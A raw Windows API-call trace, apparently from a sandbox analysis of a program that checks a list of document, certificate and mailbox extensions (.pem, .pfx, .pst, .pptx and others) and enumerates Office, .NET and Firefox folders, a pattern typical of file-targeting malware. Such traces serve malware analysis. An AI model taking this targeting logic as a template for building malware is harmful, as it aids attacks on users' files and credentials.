[0250.466] lstrlenW (lpString=".pdp") returned 4 [0250.466] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1 [0250.466] lstrlenW (lpString=".pef") returned 4 [0250.466] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1 [0250.466] lstrlenW (lpString=".pem") returned 4 [0250.466] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1 [0250.466] lstrlenW (lpString=".pff") returned 4 [0250.466] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1 [0250.466] lstrlenW (lpString=".pfm") returned 4 [0250.467] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1 [0250.467] lstrlenW (lpString=".pfx") returned 4 [0250.467] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1 [0250.467] lstrlenW (lpString=".pgm") returned 4 [0250.467] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1 [0250.467] lstrlenW (lpString=".php") returned 4 [0250.467] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1 [0250.467] lstrlenW (lpString=".php3") returned 5 [0250.467] lstrcmpiW (lpString1=".php3", lpString2="s.dll") returned -1 [0250.467] lstrlenW (lpString=".php4") returned 5 [0250.467] lstrcmpiW (lpString1=".php4", lpString2="s.dll") returned -1 [0250.467] lstrlenW (lpString=".php5") returned 5 [0250.467] lstrcmpiW (lpString1=".php5", lpString2="s.dll") returned -1 [0250.467] lstrlenW (lpString=".phtml") returned 6 [0250.467] lstrcmpiW (lpString1=".phtml", lpString2="ss.dll") returned -1 [0250.467] lstrlenW (lpString=".pict") returned 5 [0250.467] lstrcmpiW (lpString1=".pict", lpString2="s.dll") returned -1 [0250.467] lstrlenW (lpString=".pl") returned 3 [0250.467] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1 [0250.467] lstrlenW (lpString=".pls") returned 4 [0250.467] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1 [0250.467] lstrlenW (lpString=".pm") returned 3 [0250.467] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1 [0250.467] lstrlenW (lpString=".png") returned 4 [0250.467] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0250.467] lstrlenW (lpString=".pnm") returned 4 [0250.467] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1 [0250.467] lstrlenW (lpString=".pot") returned 4 [0250.467] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1 [0250.467] lstrlenW (lpString=".potm") returned 5 [0250.468] lstrcmpiW (lpString1=".potm", lpString2="s.dll") returned -1 [0250.468] lstrlenW (lpString=".potx") returned 5 [0250.468] lstrcmpiW (lpString1=".potx", lpString2="s.dll") returned -1 [0250.468] lstrlenW (lpString=".ppa") returned 4 [0250.468] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1 [0250.468] lstrlenW (lpString=".ppam") returned 5 [0250.468] lstrcmpiW (lpString1=".ppam", lpString2="s.dll") returned -1 [0250.468] lstrlenW (lpString=".ppm") returned 4 [0250.468] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1 [0250.468] lstrlenW (lpString=".pps") returned 4 [0250.468] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1 [0250.468] lstrlenW (lpString=".ppsm") returned 5 [0250.468] lstrcmpiW (lpString1=".ppsm", lpString2="s.dll") returned -1 [0250.468] lstrlenW (lpString=".ppt") returned 4 [0250.468] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0250.468] lstrlenW (lpString=".pptm") returned 5 [0250.468] lstrcmpiW (lpString1=".pptm", lpString2="s.dll") returned -1 [0250.468] lstrlenW (lpString=".pptx") returned 5 [0250.468] lstrcmpiW (lpString1=".pptx", lpString2="s.dll") returned -1 [0250.468] lstrlenW (lpString=".prn") returned 4 [0250.468] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1 [0250.468] lstrlenW (lpString=".ps") returned 3 [0250.468] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1 [0250.468] lstrlenW (lpString=".psb") returned 4 [0250.468] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1 [0250.468] lstrlenW (lpString=".psd") returned 4 [0250.468] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1 [0250.468] lstrlenW (lpString=".pst") returned 4 [0250.468] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1 [0250.468] lstrlenW (lpString=".ptx") returned 4 [0250.469] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1 [0250.469] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0250.469] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Shared", cAlternateFileName="")) returned 0 [0250.469] FindClose (in: hFindFile=0x6cf988 | out: hFindFile=0x6cf988) returned 1 [0250.469] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0250.469] FindNextFileW (in: hFindFile=0x6cfd08, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="110", cAlternateFileName="")) returned 0 [0250.469] FindClose (in: hFindFile=0x6cfd08 | out: hFindFile=0x6cfd08) returned 1 [0250.469] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0250.469] FindNextFileW (in: hFindFile=0x6cfa48, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1 [0250.582] FindNextFileW (in: hFindFile=0x6cfe48, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.582] FindNextFileW (in: hFindFile=0x6cfe48, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADOMD.NET", cAlternateFileName="")) returned 1 [0250.582] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x41cde38 [0250.582] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft.NET\\ADOMD.NET\\*", lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x6cf6c8 [0250.874] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0250.874] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="110", cAlternateFileName="")) returned 1 [0250.874] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x41dde40 [0250.874] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft.NET\\ADOMD.NET\\110\\*", lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6cfa08 [0250.875] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.875] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16e4606, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaf898, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.AdomdClient.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0250.875] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16e4606, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaf898, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.AdomdClient.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0250.875] FindClose (in: hFindFile=0x6cfa08 | out: hFindFile=0x6cfa08) returned 1 [0250.875] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0250.875] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="110", cAlternateFileName="")) returned 0 [0250.875] FindClose (in: hFindFile=0x6cf6c8 | out: hFindFile=0x6cf6c8) returned 1 [0250.875] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0250.875] FindNextFileW (in: hFindFile=0x6cfe48, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADOMD.NET", cAlternateFileName="")) returned 0 [0250.875] FindClose (in: hFindFile=0x6cfe48 | out: hFindFile=0x6cfe48) returned 1 [0250.875] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0250.875] FindNextFileW (in: hFindFile=0x6cfa48, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 1 [0250.875] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4188318 [0250.875] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Mozilla Firefox\\*", lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6cfd48 [0250.876] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.877] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins", cAlternateFileName="")) returned 1 [0250.877] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x41cde38 [0250.877] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Mozilla Firefox\\plugins\\*", lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x6cfd88 [0250.877] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0250.877] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9eb0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="npMeetingJoinPluginOC.dll", cAlternateFileName="NPMEET~1.DLL")) returned 1 [0250.877] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9eb0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="npMeetingJoinPluginOC.dll", cAlternateFileName="NPMEET~1.DLL")) returned 0 [0250.877] FindClose (in: hFindFile=0x6cfd88 | out: hFindFile=0x6cfd88) returned 1 [0250.877] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0250.877] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins", cAlternateFileName="")) returned 0 [0250.877] FindClose (in: hFindFile=0x6cfd48 | out: hFindFile=0x6cfd48) returned 1 [0250.877] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0250.877] FindNextFileW (in: hFindFile=0x6cfa48, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 0 [0250.877] FindClose (in: hFindFile=0x6cfa48 | out: hFindFile=0x6cfa48) returned 1 [0250.878] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0250.878] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8d7d1d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee8d7d1d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0250.878] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x40f0050 [0250.878] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\System\\*", lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8d7d1d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee8d7d1d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x6cf6c8 [0250.879] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8d7d1d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee8d7d1d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0250.880] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee7cccb2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee7cccb2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf466c4e5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x27450, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="atl100.dll", cAlternateFileName="")) returned 1 [0250.880] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee865693, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee865693, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf46b8986, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d250, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="atl110.dll", cAlternateFileName="")) returned 1 [0250.880] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee865693, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee865693, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc6b9190, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4f670, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="concrt140.dll", cAlternateFileName="CONCRT~1.DLL")) returned 1 [0250.880] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee865693, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee865693, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2d34074e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x192448, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FM20.DLL", cAlternateFileName="")) returned 1 [0250.881] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee88b86f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee88b86f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61d7668, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8268, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FM20ENU.DLL", cAlternateFileName="")) returned 1 [0250.881] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee88b86f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee88b86f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2dc7d9c2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x55b0d0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfc140.dll", cAlternateFileName="")) returned 1 [0250.881] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee88b86f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee88b86f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0194432, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9a60, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfc140chs.dll", cAlternateFileName="MFC140~1.DLL")) returned 1 [0250.881] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee88b86f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee88b86f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefdda943, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9a60, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfc140cht.dll", cAlternateFileName="MFC140~2.DLL")) returned 1 [0250.881] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8f08c 